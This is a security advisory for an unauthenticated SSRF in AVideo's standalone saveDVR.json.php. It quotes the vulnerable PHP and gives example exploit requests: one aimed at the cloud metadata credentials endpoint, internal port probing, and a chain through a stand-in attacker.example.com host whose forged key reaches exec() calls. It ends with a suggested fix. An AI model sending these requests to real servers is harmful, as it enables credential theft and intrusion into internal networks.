wwbn/avideo
Affected
- introduced
0, last affected26.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33351
AVideo has Unauthenticated SSRF via webSiteRootURL Parameter in saveDVR.json.php, Chaining to Verification Bypass
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.
Affected Component
File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28
$streamerURL = ""; // change it to your streamer URL
$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
include_once $configFile;
$streamerURL = $global['webSiteRootURL'];
}
if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
$streamerURL = $_REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED
}
// ...
$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL); // SSRF
Root Cause
$streamerURL is set directly from $_REQUEST['webSiteRootURL'] with no validation.file_get_contents() call. There is no check for http/https scheme only, no private IP blocking, and no domain allowlist.Exploitation
Part 1: Basic SSRF (Internal Network Access)
POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded
webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything
The server fetches:
http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything
While the appended path may cause a 404 on the metadata service, the attacker can also use this for:
webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages.webSiteRootURL=http://internal-service/ — reach services behind the firewall.Part 2: Verification Bypass + Downstream Command Execution Chain
This is the more severe attack chain:
https://attacker.example.com/ with the path: /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php
That returns:
{"error": false, "response": {"key": "attacker_controlled_value"}}
POST /plugin/Live/standAloneFiles/saveDVR.json.php
webSiteRootURL=https://attacker.example.com/&saveDVR=anything
key value from the response flows into shell commands:$DVRFile = "{$hls_path}{$key}"; — used in exec() at line 80 (though escapeshellarg() is applied to the path components)$DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8"; — used without escapeshellarg() in: - Line 119: exec("echo \"{$endLine}\" >> {$DVRFileTarget}"); - Line 157: exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y"); - Line 167: exec("rm -R {$tmpDVRDir}"); The $key is sanitized at line 47 with preg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:
:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.Impact
$key limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.Suggested Fix
$streamerURL to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist: // Remove this block:
// if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
// $streamerURL = $_REQUEST['webSiteRootURL'];
// }
// If $streamerURL is still empty, abort:
if (empty($streamerURL)) {
error_log("saveDVR: streamerURL is not configured");
die('saveDVR: Server not configured');
}
if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
$url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL);
if ($url && preg_match('/^https?:\/\//i', $url)) {
// Resolve hostname and block private/reserved IPs
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('saveDVR: Invalid URL');
}
$streamerURL = $url;
}
}
$DVRFileTarget at lines 119, 157, and $tmpDVRDir at line 167.Critical Basis: The source's own band: CRITICAL
0, last affected 26.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0